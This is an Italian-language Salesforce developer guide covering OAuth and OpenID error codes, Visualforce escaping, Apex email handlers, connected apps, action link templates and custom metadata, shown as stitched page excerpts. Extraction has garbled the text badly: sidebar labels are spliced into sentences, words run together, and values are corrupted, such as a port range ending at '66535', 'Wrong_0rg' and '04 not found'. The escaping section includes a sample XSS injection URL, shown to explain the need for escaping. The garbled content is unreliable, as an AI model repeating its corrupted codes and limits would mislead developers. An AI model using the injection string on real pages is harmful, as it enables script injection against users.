Home
Ottimizzazione di Salesforce con il codice
Contents
1. Codice errore Problema richiesta 403 forbidden HTTPS_Required HTTP 403 forbidden Missing_OAuth_Token Token di accesso mancante 403 forbidden Bad_OAuth_Token Token di accesso non valido 403 forbidden Wrong_0rg Utenti in un organizzazione diversa 404 not found Bad_ld ID organizzazione utente non valido o errato 404 not found Inactive Utente disattivato o organizzazione inattiva 404 not found No_Access L utente non dispone dell accesso corretto all organizzazione o alle informazioni 04 not found No_Site_Endpoint Richiesta a un endpoint non valido di un sito 04 not found Internal Error Nessuna risposta dal server 406 not acceptable Invalid_Version Versione non valida 406 not acceptable Invalid_Callback Richiamata non valida Endpoint OpenID Connect Discovery L endpoint OpenID Connect Discovery una pagina statica che pu essere utilizzata per effettuare query senza necessit di sessione su informazioni in merito alla configurazione OpenID Connect di Salesforce Salesforce restituisce informazioni di base sugli endpoint gli ambiti supportati e altri valori utilizzati per l autorizzazione OpenID Connect Il formato dell URL https login salesforce com well known openid configuration ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni Ottimizzazione di Salesforce con il codice Guida dell ute
2. Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 103 lt body gt Hello world lt body gt lt html gt A seconda della posizione del tag e dall utilizzo dei dati sia i caratteri che richiedono la sequenza escape che le loro controparti con caratteri di escape potrebbero variare Ad esempio la seguente istruzione lt script gt var ret Request retURL script gt var ret SRequest retURL lt script gt richiede l utilizzo della sequenza escape per il carattere virgolette doppie con questo URL codificato equivalente a 22 anzich l HTML con carattere escape poich probabilmente verr utilizzato in un link In caso contrario la richiesta http example com demo redirect html retURL fo0 2253Balert xss 3B 2F 2F risulta in lt script gt var ret foo alert xss lt script gt Inoltre la variabile ret potrebbe richiedere un ulteriore sequenza escape lato client pi avanti nella pagina se utilizzata in un modo che potrebbe determinare l interpretazione dei caratteri di controllo HTML inclusi tag delle formule possono essere utilizzati anche per includere dati degli oggetti della piattaforma Sebbene i dati vengano presi direttamente dall organizzazione dell utente necessario utilizzare la sequenza escape prima di usarli per impedire agli utenti di eseguire del codice nel contesto di altri utenti potenzialmente quelli con privile
3. recipientType User gt lt messaging htmlEmailBody gt lt p gt Hi lt p gt lt p gt Your password for Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Suggerimenti ObjectType Descrizione Utilizzo Esempio di pulsante personalizzato Esempio di regola di convalida Lightning 27 lt b gt S Network Name lt b gt community has been reset lt p gt lt p gt lt a href SNetwork NetworkUrlForUserEmails gt Reset Password lt a gt lt p gt lt p gt Regards lt p gt lt p gt Communities Admin lt p gt lt messaging htmlEmailBody gt lt messaging emailTemplate gt Questa variabile globale funziona solo nei modelli di email Visualforce per Comunit Tipo di campo di unione globale utilizzato quando si fa riferimento a oggetti standard o personalizzati quali Account Casi e Opportunit nonch ai valori dei relativi campi Utilizzare i campi di unione di tipo oggetto nelle funzioni LINKTO GETRECORDIDS e URLFOR perfare riferimento a un tipo di dati specifico oppure la funzione VLOOKUP per fare riferimento a un campo specifico in un oggetto correlato 1 Selezionare il tipo di campo ObjectType 2 Selezionare un oggetto in cui inserire un campo di unione che rappresenti quell oggetto ad esempio SObjectType Case Se lo si desidera selezionare un campo in quell oggetto utilizzando la seguente sintassi Ob
4. Handler personalizzato applicazione connessa Personalizzare il comportamento di un applicazione connessa con Apex Creare una classe che estende la classe Apex ConnectedAppPlugin e associarla a un applicazione connessa La classe pu supportare nuovi protocolli di autenticazione o rispondere agli attributi utente in un modo che pu essere utile a un processo aziendale Il plugin viene eseguito per conto di un account utente Nel campo Esegui come selezionare l utente per il plugin Se l utente non autorizzato per l applicazione connessa autorizzarlo con il metodo authorize Per ulteriori informazioni vedere la classe ConnectedAppPlugin nel manuale Force com Apex Code Developer s Guide Impostazioni app mobile 1 Immettere l URL iniziale applicazione mobile per indirizzare gli utenti a un percorso specifico quando accedono all applicazione da un dispositivo mobile Se non viene immesso un URL iniziale applicazione mobile gli utenti verranno indirizzati al URL iniziale definito in Impostazioni app Web Se l applicazione connessa che si sta creando un applicazione area di disegno non necessario immettere un valore in questo campo Il campo URL app Area di disegno contiene l URL che viene chiamato per l applicazione connessa 2 Selezionare Protezione PIN se la propria applicazione supporta la protezione PIN In questo modo l amministratore ha la possibilit di impostare il timeout della sessione e la lunghezza del PIN per le a
5. Per accedere alla pagina Apex Exception Email Setup Impostazione email eccezione Apex e Visualizza impostazione Per scrivere Apex code e Apex autore Per utilizzare Tooling API e API abilitata Merchandise Edit T New Merchandise Merchandise Edit Save Save amp New Cancel Error Invalid Data Review all error messages below to correct your data Trigger myMerchandiseTrigger line 3 column 1 Information Merchandise Name Erasers Owner TestUser Description White erasers Price 1 50 Total Inventory 120 Apex trigger myMerchandiseTrigger caused an unexpected exception contact your administrator myMerchandiseTrigger execution of Beforelnsert caused by System NullPointerException Attempt to de reference a null object Required Information Help for this Page Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 55 Gestione delle eccezioni Apex nei pacchetti gestiti Quando si crea un pacchetto gestito per Force com AppExchange possibile specificare un utente DONI in modo che riceva una notifica via email quando si verifica un eccezione che non rilevata da Apex Le eccezioni non rilevate possono essere sollevate da Disponibile nelle versioni e Un azione Visualforce o un metodo getter Salesforce Classic e Unmetodo servizio Web Disponibile nelle versioni e Untrigger Performance Edition
6. Impostazione dei livelli di registrazione I livelli di registrazione determinano la quantit di informazioni relative a una richiesta salvate in un registro debug L analisi di un registro di grandi dimensioni pu richiedere molto tempo Per ridurre le dimensioni di un registro modificare il livello di registrazione Utilizzare registrazioni descrittive per il codice che si sta esaminando Utilizzare registrazioni concise per il codice che non interessa Per specificare i livelli di registrazione per le richieste future fare clic su Debug gt Change Log Levels Cambia livelli di registrazione Questa pagina consente di definire i flag di traccia e i livelli debug Per escludere i livelli di registro predefiniti per una specifica classe o per uno specifico trigger oppure per impostare l accesso per un utente aggiungere un flag di traccia che include una durata e un livello debug Per salvare le modifiche e chiudere la finestra fare clic su Done Chiudi O Nota Se si sta eseguendo il debug con i checkpoint impostare il livello di registrazione di Apex Code su FINER Alto o FINEST Massimo Non utilizzare FINEST per la distribuzione Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 264 Per ulteriori informazioni su quanto controllato da ogni singola impostazione vedere Categorie del registro debug e Livelli del registro debug O Importante Se la Console svi
7. Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 190 6 Fare clic su Invia per inviare il test notifiche push oppure fare clic su Annulla per cancellare il modulo VEDERE ANCHE Esecuzione di test delle notifiche push Invio del test notifiche push a GCM per Android Per eseguire un test rapido dell impostazione delle proprie notifiche push a Google Cloud Messaging per Android GCM utilizzare la pagina Invia notifica di prova 1 Immettere una stringa token di connessione nel campo Destinatario OPPURE cercare un destinatario facendo clic su Cerca e selezionare uno dei risultati della ricerca Per impostazione predefinita l elenco dei risultati della ricerca visualizza i cinque dispositivi registrati pi recentemente per l applicazione connessa a Pertrovare altri dispositivi immettere un nome utente nella casella di testo Cerca b Fare clic su Vai per generare un elenco di tutti i dispositivi attualmente registrati sotto quel nome utente 2 Per Payload immettere un valore JSON contenente il proprio messaggio 3 Perinviare la notifica push solo al server GCM selezionare Simulazione di esecuzione 4 Fare clic su Invia per inviare il test notifiche push oppure fare clic su Annulla per cancellare il modulo VEDERE ANCHE Esecuzione di test delle notifiche push Messaggi di errore per le notifiche push Se viene visualizzato un messaggio di errore durante l i
8. HTML Selezionare questa opzione se si desidera immettere il contenuto dell S Control nell area Contenuto URL Selezionare questa opzione se si desidera immettere il link o l URL di un sito Web esterno nell area Contenuto Snippet Gli snippet sono S Control che vengono progettati per essere inclusi in altri S Control Selezionare questa opzione se si desidera immettere il contenuto dello snippet dell S Control nell area Contenuto Testo che descrive l S Control Viene visualizzato solo agli amministratori Guida dell utente Componenti Apex Visualforce e Lightning 125 DAON Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition ANOLON TZAVA ON UTENTE Per creare modificare ed eliminare Custom S Control e Personalizza applicazione ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Ottimizzazione di Salesforce con il codice Nome attributo Descrizione Guida dell utente Componenti Apex Visualforce e Lightning 126 Contenuto Immettere il contenuto o l origine dell S Control possibile immettere fino a 1 milione di caratteri Il codice HTML definis
9. Indirizzi email visualizzati nel campo A Un oggetto InboundEmail memorizza le intestazioni dei messaggi email RFC 2822 in un oggetto InboundEmail Header con i seguenti campi Nome Tipo Descrizione name Stringa Il nome del parametro intestazione come Date 0 Message ID value Stringa Valore dell intestazione Ottimizzazione di Salesforce con il codice Oggetto InboundEmail BinaryAttachment Guida dell utente Componenti Apex Visualforce e Lightning 118 Un oggetto InboundEmail memorizza gli allegati binari in un oggetto InboundEmail BinaryAttachment Gli esempi di allegati binari includono file di immagini audio applicazioni e video Un oggetto InboundEmail BinaryAttachment presenta i seguenti campi Nome body fileName mimeTypeSubType Oggetto InboundEmail TextAttachment Un oggetto InboundEmai Gli allegati di testo posson e Allegati con un tipo e Allegati con un tipo Tipo Blob Stringa Stringa o essere dei seguenti tipi Descrizione Corpo dell allegato Nome del file allegato Tipo primario e sottotipo MIME memorizza gli allegati di testo in un oggetto InboundEmail TextAttachment IME Multipurpose Internet Mail Extension di text IME di application octet stream e un nome file che termina con l estensione vef 0 ves Vengono salvati rispettivamente come tipi MIME text x vcard e text calendar Un oggetto InboundEmai Nome body bodyIsTruncated charset fileName mimeTypeSu
10. Messaging InboundEmailResult result new Messaging InboundEmailResult Create contact and lead lists to hold all the updated records List lt Contact gt lc new List lt contact gt List lt Lead gt ll new List lt lead gt Convert the subject line to lower case so the program can match on lower case String mySubject email subject toLowerCase The search string used in the subject lin String s unsubscribe Check the variable to s if the word unsubscribe was found in the subject line Boolean unsubMe Look for the word unsubcribe in the subject lin If it is found return true otherwise return false unsubMe mySubject contains s If unsubscribe is found in the subject line enter the IF statement Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 114 if unsubMe true try Look up all contacts with a matching email address for Contact c SELECT Id Name Email HasOptedOutOfEmail FROM Contact WHERE Email env fromAddress AND hasOptedOutOfEmail false LIMIT 100 Add all the matching contacts into the list c hasOptedOutOfEmail true le addi c Update all of the contact records update lc catch System QueryException e System debug Contact Query Issue e try Look up all leads matching
11. Per motivi di sicurezza Salesforce limita le porte in uscita che si possono specificare a uno dei seguenti valori e 80 questa porta accetta solo connessioni HTTP e 443 questa porta accetta solo connessioni HTTPS e 1024 66535 comprese queste porte accettano connessioni HTTP o HTTPS 4 Fare clic su Analizza WSDL per verificare il contenuto del documento WSDL L applicazione ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition YANG O NPZZAVA O N UTENTE Per definire modificare eliminare impostare la protezione configurare le impostazioni di versione mostrare le dipendenze ed eseguire test per le classi Apex e Apex Autore genera un nome di classe predefinito per ogni spazio dei nomi nel documento WSDL e riporta gli eventuali errori L analisi non riesce se il documento WSDL contiene tipi o costruzioni di schema non supportati dalle classi Apex oppure se le classi risultanti superano il limite di 1 milione di caratteri nelle classi Apex Ad esempio non possibile analizzare il documento WSDL API SOAP di Salesforce 5 Modificare nel modo desiderato i nomi delle classi Anche se possibile salvare pi di uno spazio dei nomi WSDL in una sola classe utilizzando lo stesso nome di classe per ogni spazio dei nomi le classi Apex non possono avere
12. senza avere approvato esplicitamente l applicazione Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 200 Terminologia OAuth e applicazioni connesse Token di accesso EDIZIONI Valore utilizzato dal consumatore per ottenere l accesso a risorse protette per conto dell utente anzich utilizzare le credenziali Salesforce dell utente Disponibile nelle versioni Per il protocollo OAuth 1 0 A il token di accesso deve essere scambiato con un ID sessione Salesforce Classic Per il protocollo OAuth 2 0 il token di accesso un ID sessione e pu essere usato direttamente Disponibile in tutte le Codice di autorizzazione versioni Utilizzato solo in OAuth 2 0 con il flusso del server Web Un token di breve durata che rappresenta l accesso concesso dall utente finale Il codice di autorizzazione viene utilizzato per ottenere un AUTORIZZAZIONI token di accesso e un token di aggiornamento Nel caso di OAuth 1 0 A vedere Token di richiesta UTENTE URL di richiamata URL associato all applicazione client In alcuni contesti deve essere un URL reale a cui viene reindirizzato il browser Web del client In altri l URL in realt non viene utilizzato ma il valore deve essere lo stesso tra l applicazione client e il server la definizione dell applicazione connessa Ad esempio pu essere utile disporre di un valore che identifichi l applicazione come http MiaSociet App Per gestire crear
13. un token Web JSON JWT e Ilflusso di autenticazione utente agente deve includere il parametro response type con ilvalore token id token l ambito openid e il parametro nonce e Il flusso di autenticazione server Web deve includere il parametro response type con il valore code e l ambito openid Per il flusso di autenticazione server Web il parametro nonce facoltativo Di seguito riportato un esempio di richiesta di token ID con l utilizzo del flusso di autenticazione utente agente AD PA 0 N Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni ANOLON TAAA ON UTENTE Per gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni ANOLON TAAA ON UTENTE Per gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse https login salesforce com services oauth2 authorize response type tokentid token amp redirect uri https login salesforce com services oauth2 success amp client id 3MVG91KcPoNINVBIPJ dw1J9LLJbP pqwoJYyuisjQhr LLurNDv7AgOvDTZwCoZuD_ 30xug0sU3 WrBPd Ax6Mcnlg5HSnLG0 amp scope openid amp nonce somevalue Utilizzare le chiavi pubbliche pubblicate per verificare che la firma nella risposta sia una firma Salesforce valida 1 Accederea https login salesforc
14. utente Una volta che l utente stato autorizzato il consumatore richiede un token di accesso ichiesta e concede il token oken il consumatore accede ai dati attraverso la sua applicazione oppure Web Force com ichiesta e consente l accesso ai dati vono pi dettagliatamente le singole fasi er utilizzare un applicazione connessa con un Sandbox utilizzare rce com anzich login salesforce com nelle sezioni seguenti ici di errore possibili restituiti da Salesforce vedere Codici di errore OAuth Richiesta di un token di richiesta ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile in tutte le versioni YANG O NPZZAVA O N UTENTE Per gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse Quando un consumatore esegue una richiesta iniziale a Salesforce se la richiesta valida viene restituito un token di richiesta Le fasi descritte di seguito contengono istruzioni pi dettagliate per lo sviluppatore che utilizza un applicazione connessa per richiedere dei dati Salesforce 1 Un applicazione del c onsumatore deve accedere ai dati Salesforce e invia una richiesta a https login salesforce com nc external system security oauth RequestTokenHandler La richiesta contiene i seguenti elementi e Una richiesta valida per un token di richiesta che contiene i seguenti parametri OAuth oauth consu
15. 3 Verificare il risultato accedendo all app browser mobile Salesforce1 La nuova voce di menu dovrebbe comparire nel menu di navigazione O Nota perimpostazione predefinita l app browser mobile attivata per l organizzazione Per ulteriori informazioni sull utilizzo dell app browser mobile Salesforce1 consultare il manuale Salesforce1 App Developer Guide VEDERE ANCHE Panoramica sul framework Componente Lightning Beta Utilizzo della Console sviluppatore Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Aggiunta dei componenti Lightning a Lightning Experience possibile rendere i propri componenti Lightning disponibili agli utenti di Lightning Experience Nei componenti che si desidera includere in Lightning Experience aggiungere implements force appHostable nelcomponente aura component e salvare le modifiche lt aura component implements force appHostable gt Utilizzare la Console sviluppatore per creare i componenti Lightning Lightning 91 ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile per l uso nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition possibile creare componenti Lightning utilizzando l interfaccia utente nelle versioni Enterprise Edition Performance Edition Unlimited Edition Dev
16. Impostazione dell accesso alle classi Apex dalla pagina di elenco della classe Impostazione dell accesso classe Apex dagli insiemi di autorizzazioni Impostazione dell accesso classe Apex dai profili Impostazione dell accesso classe Apex dagli insiemi di autorizzazioni possibile specificare quali metodi in una classe Apex di massimo livello sono eseguibili per un insieme di autorizzazioni Queste impostazioni si applicano solo ai metodi delle classi Apex quali i metodi dei servizi Web o ai metodi utilizzati in un controller Visualforce personalizzato o in un estensione del controller applicata a una pagina Visualforce trigger vengono sempre attivati in caso di eventi trigger quali insert 0 update indipendentemente dalle impostazioni delle autorizzazioni 1 Dalmposta immettere Insiemi di autorizzazioni nella casella Ricerca veloce quindi selezionare Insiemi di autorizzazioni Selezionare un insieme di autorizzazioni Fare clic su Accesso classe Apex Fare clic su Modifica mo dp o N Selezionare le classi Apex da abilitare dall elenco Classi Apex disponibili e fare clic su Aggiungi o selezionare le classi Apex da disabilitare dall elenco Classi Apex abilitate e fare clic su Rimuovi 6 Fare clic su Salva VEDERE ANCHE Impostazione dell accesso alle classi Apex dalla pagina di elenco della classe Impostazione dell accesso alle classi Apex dalla pagina dei dettagli della classe Impostazione dell accesso classe Apex dai
17. Nella casella di testo Valore digitare il testo senza superare i 1000 caratteri Questo valore pu essere tradotto in qualsiasi lingua supportata da Salesforce Nota La visualizzazione di eventuali modifiche apportate a questo campo potrebbe richiedere qualche minuto Fare clic su Salva VEDERE ANCHE Creazione e modifica di traduzioni di etichette personalizzate Panoramica sulle etichette personalizzate ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Developer Edition Professional Edition Enterprise Edition Performance Edition e Unlimited Edition YANG O NPZZAVA O N UTENTE Creare modificare ed eliminare etichette personalizzate e Personalizza applicazione Per creare o sostituire una traduzione e Gestisci traduzione OPPURE Visualizza impostazione e configurazione ed essere designato come traduttore Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Creazione e modifica di traduzioni di etichette personalizzate Per creare o modificare etichette personalizzate 1 Dalmposta immettere Etichette personalizzate nellacasella Ricerca veloce quindi selezionare Etichette personalizzate 2 Selezionare il nome dell etichetta personalizzata per aprirla 3 Nell elenco correlato Traduzioni fare clic su Nuova per inserire una nuova traduzione o su Modifica accanto all
18. Ottimizzazione di Salesforce con il codice Esempio di Visualforce Suggerimenti Network Descrizione Utilizzo Esempio di Visualforce Etichetta sorry_for_inconvenience sorry_for_inconvenience_back_shortly stay_tuned submi temp_password_sent thank_you_for_registering under_construction user_registration username verify_new_password lt apex page gt Guida dell utente Componenti Apex Visualforce e Lightning 26 Messaggio Ci scusiamo per l inconveniente Ci scusiamo per l inconveniente Il servizio sar ripristinato a breve Attendere Invia stato spedito un messaggio email contenente la password temporanea Grazie per aver effettuato la registrazione stato spedito un messaggio email contenente la password temporanea lt i gt 0 lt i gt in costruzione Registrazione nuovo utente Nome utente Verifica nuova password lt apex pageMessage severity info strength 1 summary S Label Site temp password sent gt lt apex page gt Questa variabile globale disponibile solo per le pagine Visualforce Tipo di campo di unione globale da utilizzare quando si fa riferimento ai dettagli di una comunit in un modello di email Visualforce Utilizzare questa espressione in un modello di email Visualforce per accedere al nome della comunit e all URL di accesso della comunit lt messaging emailTemplate subject Your Password has been reset
19. POST connect action link group definitions templateId 07gD00000004C9r templateBindings key Invitee value 005D00000017u6x Se il modello utilizza Pu vederlo solo il responsabile del creatore un utente privo di responsabile riceve un messaggio di errore quando istanzia un gruppo dei link azioni dal modello Inoltre il responsabile il responsabile al momento dell istanziazione Se dopo l istallazione il responsabile dell utente cambia tale modifica non viene presa in considerazione Utilizzo delle variabili di contesto Utilizzare le variabili di contesto per passare le informazioni sull utente che ha eseguito il link azioni e sul contesto nel quale ha richiamato la richiesta HTTP effettuata richiamando un link azioni possibile utilizzare le variabili di contesto nelle propriet actionUr1l headers e requestBody della richiesta di input definizione del link azioni o nell oggetto ConnectApi ActionLinkDefinitionInput anche possibile utilizzare le variabili di contesto nei campi URL azione Corpo richiesta HTTP e Intestazioni HTTP dei modelli di link azioni Dopo la pubblicazione di un modello possibile modificare questi campi incluso aggiungere e rimuovere variabili di contesto Di seguito sono elencate le variabili di contesto disponibili Variabile di contesto Descrizione actionLinkId ID del link azioni eseguito dall utente actionLinkGroupId ID del gruppo dei link azioni contenent
20. Per creare aggiornare ed eliminare tipi e record di metadati personalizzati utilizzare l API dei metadati Per ulteriori informazioni vedere Custom Metadata Types CustomObject nella guida Metadata API Developer s Guide DAON Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Professional Edition Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition Le organizzazioni Professional Edition possono creare modificare ed eliminare solo i record di metadati personalizzati dai tipi nei pacchetti installati Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 252 Accesso ai tipi di metadati personalizzati record e campi Accesso a tipi e record di metadati personalizzati Utilizzare SOQL per accedere ai tipi di metadati personalizzati e recuperare i nomi API dei record su tali tipi Le operazioni DML non sono consentite sui metadati personalizzati in Apex nell API Partner e nell API Enterprise Per informazioni sull sObject Tipo di metadati personalizzato__mdt vedere Tipo di metadati personalizzato __mdtnel Riferimento oggetti per Salesforce e Force com Ad esempio dichiarare una variabile Apex custMeta del tipo di metadati personalizzato MyCustomMetadataType _mdt che si trova nel proprio spazio dei nomi nel modo seguente MyCustomMetadataType mdt custMeta DAON Disponibile nelle versioni
21. Quando si interrompe una distribuzione nella scheda Progress Avanzamento viene poco dopo visualizzato un thread di polling residuo Le distribuzioni parziali non sono consentite Per cancellare immediatamente l operazione di polling aggiornare la Console sviluppatore e Lascheda Problems Problemi mostra i dettagli relativi agli errori di compilazione nel Source Code Editor Editor codice sorgente Le modifiche apportate vengono compilate e convalidate in background Durante la modifica del codice accanto alle righe che contengono errori viene visualizzato un indicatore di errori Fare clic su una riga nella scheda Problems Problemi per andare alla riga di codice che ha generato l errore O Nota Dopo venti minuti di inattivit la Console sviluppatore interrompe il polling di nuovi registri esecuzioni di prova e checkpoint Per riprendere gli aggiornamenti fare clic su Debug gt Resume Updating Riprendi aggiornamento Ottimizzazione di Salesforce con il codice Guida dell utente Console sviluppatore 5 Scelte rapide da tastiera Per vedere l elenco delle scelte rapide da tastiera della Console sviluppatore fare clic su Help Guida gt Shortcut Keys Tasti di scelta rapida oppure premere CTRL MAIUISC VEDERE ANCHE Utilizzo della Console sviluppatore Menu File Menu Debug Query Editor Scheda Logs Registri Scheda Checkpoints Checkpoint Utilizzo della Console sviluppatore AUTORIZZAZIONI UTENTE ID P4 0 N Per
22. Salesforce Classic Disponibile nelle versioni Professional Edition Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition Le organizzazioni Professional Edition possono accedere solo ai record di metadati personalizzati da tipi di metadati personalizzati installati Dichiarare la variabile custMeta del tipo di metadati personalizzato TheirCustomMetadataType__ mdt che non si trova nello spazio dei nomi dell utente bens nello spazio dei nomi their ns come segue their ns TheirCustomMetadataType mdt custMeta Per ottenere i nomi di tutti gli oggetti del tipo di metadati personalizzato MyMdt__mdt MyMdt __mdt allEntityNames select QualifiedApiName from MyMdt __mdt Non possibile utilizzare queryMore coni metadati personalizzati ma possibile utilizzare le parole chiave SOQL LIMIT e OFFSET per sfogliare grandi quantit di record Per ulteriori informazioni vedere Paginating Data for Force com Applications In alternativa per fornire un entit che sia pi simile a Schema SObjectDescribeResult rispetto a SOQL fare in modo che la classe Apex Acme MyMdtDescribeResult contenga le informazioni su cui si effettuata la query da Acme _MyMdt Quindi creare la classe Acme Acme con metodi quali Acme MyMdtDescribeResult describeMyMdt String qualifiedApiName perform queries and create object Ottimizzazione di Salesforce con il codice Acce
23. Se il modello di gruppo non stato pubblicato modificare qualsiasi campo Se stato pubblicato modificare soltanto il campo Nome Per modificare un modello di link azioni a Fare clic sul nome del suo modello di gruppo dei link azioni principale b Fare clic sull ID modello di link azione per aprire la pagina dei dettagli del modello di link azione Fare clic su Modifica Se il modello di gruppo dei link azioni associato non stato pubblicato modificare qualsiasi campo Se stato pubblicato modificare uno qualsiasi dei seguenti campi URL azione Corpo richiesta HTTP e Intestazioni HTTP Questi campi supportano variabili di contesto e variabili di binding possibile aggiungere ed eliminare variabili di contesto in uno qualsiasi di questi campi Non possibile aggiungere una nuova variabile di binding possibile Guida dell utente Integrazione di app con Salesforce 156 ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile in tutte le versioni tranne Personal Edition YANGI TO NPZZAVA O N UTENTE Per modificare modelli di gruppo dei link azioni e Personalizza applicazione Per modificare modelli di link azioni e Personalizza applicazione e Spostare una variabile di binding in un altro campo modificabile all interno di un modello di link azioni e Utilizzare pi di una volta una variabile di binding in un modello di l
24. e Sesispecifica expirationDate il suo valore viene utilizzato nel nuovo gruppo dei link azioni e Senonsispecifica expirationDate esi specifica Ore prima della scadenza nel modello nel nuovo gruppo dei link azioni viene utilizzato il valore di Ore prima della scadenza e Senonsispecifica expirationDate n Ore prima della scadenza igruppi dei link azioni istanziati dal modello non hanno alcuna scadenza Definizione delle variabili di binding Definire le variabili di binding nei modelli e impostare i relativi valori quando si istanzia un gruppo dei link azioni O Importante non memorizzare informazioni riservate nei modelli Utilizzare le variabili di binding per aggiungere le informazioni riservate al momento dell esecuzione Una volta impostato il valore di una variabile di binding viene memorizzato in formato crittografato in Salesforce possibile definire le variabili di binding nei campi URL azione Corpo richiesta HTTP e Intestazioni HTTP di un modello di link azioni Una volta pubblicato un modello possibile modificare questi campi spostare le variabili di collegamento tra i campi ed eliminare le variabili di binding Non tuttavia possibile aggiungere nuove variabili di binding Definire la chiave di una variabile di binding nel modello Quando si istanzia il gruppo dei link azioni specificare la chiave e il relativo valore Le chiavi delle variabili di binding si presentano nel formato Bindings key La chiave suppo
25. flusso asserzioni SAML 228 flusso bearer SAML 207 flusso di autenticazione 202 215 218 223 225 flusso di autenticazione nome utente password 223 flusso di autenticazione OAuth 1 0 A 202 Flusso di autenticazione server Web 218 flusso di autenticazione utente agente 225 flusso token bearer JWT 210 flusso token di aggiornamento 215 revoca dei token 231 erminologia 200 ilizzo degli URL identit 234 239 242 utilizzo del token di accesso 233 utilizzo di token ID 233 oggetto InboundEmail 116 oggetto InboundEmail BinaryAttachment 118 oggetto InboundEmail Header 117 oggetto InboundEmail TextAttachment 118 oggetto InboundEmailResult 118 oggetto InboundEnvelope 119 OpenID Connect 234 239 242 Ottimizzazione di Salesforce con il codice introduzione 1 E P Pacchetti errori Apex 55 Pacchetti gestiti ignorare etichette personalizzate 121 Pagine Visualforce campi di unione 72 Pianificazione Apex 65 Procedura guidata provisioning utente 194 Processi batch 65 Processi di approvazione registri debug 277 Processi di caricamento dati in blocco monitoraggio 159 visualizzazione dei dettagli dei processi 161 Profili Visualforce 99 Protezione codice 100 Visualforce 97 98 Protezione del codice 92 provisioning utente applicazioni connesse 192 194 196 rapporti 198 Q Query Editor 11 14 R rapporti provisioning utente 198 Registri debug classi e trigger 294 filtri 280 livelli 280
26. gt lt ds Reference URI cd3649b3639560458bc9d9b33dfee8d21378409114655 gt lt ds Transforms gt lt ds Transform Algorithm http www w3 0rg 2000 09 xmldsigfenveloped signature gt lt ds Transform Algorithm http www w3 0rg 2001 10 xml exc c14n gt lt ec InclusiveNamespaces xmlns ec http www w3 0rg 2001 10 xml exc c14n PrefixList ds saml gt lt ds Transform gt lt As Transforms gt lt ds DigestMethod Algorithm http www w3 0rg 2000 09 xmldsig tshal gt lt ds DigestValue gt N8DxylbIeNg8UD087WIgqXGkoIWA lt ds DigestValue gt lt ds Reference gt lt ds SignedInfo gt lt ds SignatureValue gt XVOlFJrkhJykGYObIs0UBFEHdt4pe2gBgitcXrscNVX2hKGpw0 WqjF8EKrgv403 04KglrX1 6s xJr6WomxNWtIOC4oWhSvVyfag34zQ0ecZeunEdFSMInvPtqBVzJu9hJjy Q0DqDWfMeWvF9S50Azd0 EhJxz Lyl11i2804aCX00 lt ds SignatureValue gt lt ds KeyInfo gt lt ds X509Data gt lt ds X509Certificate gt MIICOZCCAaSgAwIBAgIGAR7RRteKMA0GCSqGSIb3DOEBBQUAMGExCZAJBgNVBAYTA1VTMOswCOYD VOOIEWJIDOTEWMBOGA1UEBxMNU2FuIEZyYW5jaXNjbzENMASGA1UEChKMEUEFDUZENMASGA1lUECXME UOZEQZEPMA0GA1UEAxMGUOFNTDIwMB4XDTA5MDExMzE4MzUyN1oXDTEOMDExMTE4MzUyNl1owYTE MA kKGA1UEBhIMCVVMxCzAJBgNVBAgTAKNBMRYwFAYDVOQOHEw1TYW4gRnJhbmNpc2NvMQ0wCwYDVOOK EwROQUNTMQ0wCwYDVOOLEWwRTRKRDMO8wDOYDVOODEwZTOU1lMMjAwgZ8wDOYJKoZIhvcNAQEBBOAD gYOAMIGJIAOGBAJNGcu8NW6xq21 dAgbJmSfHLGRn tvCuKWY LAELw Kerjaj5Dq3ZGW38HR4BmZk sG3g4eA1RXnlhiZGI106E1590E 0Z0x2zVSTb7 0oIwRcDHEB1l RraYT
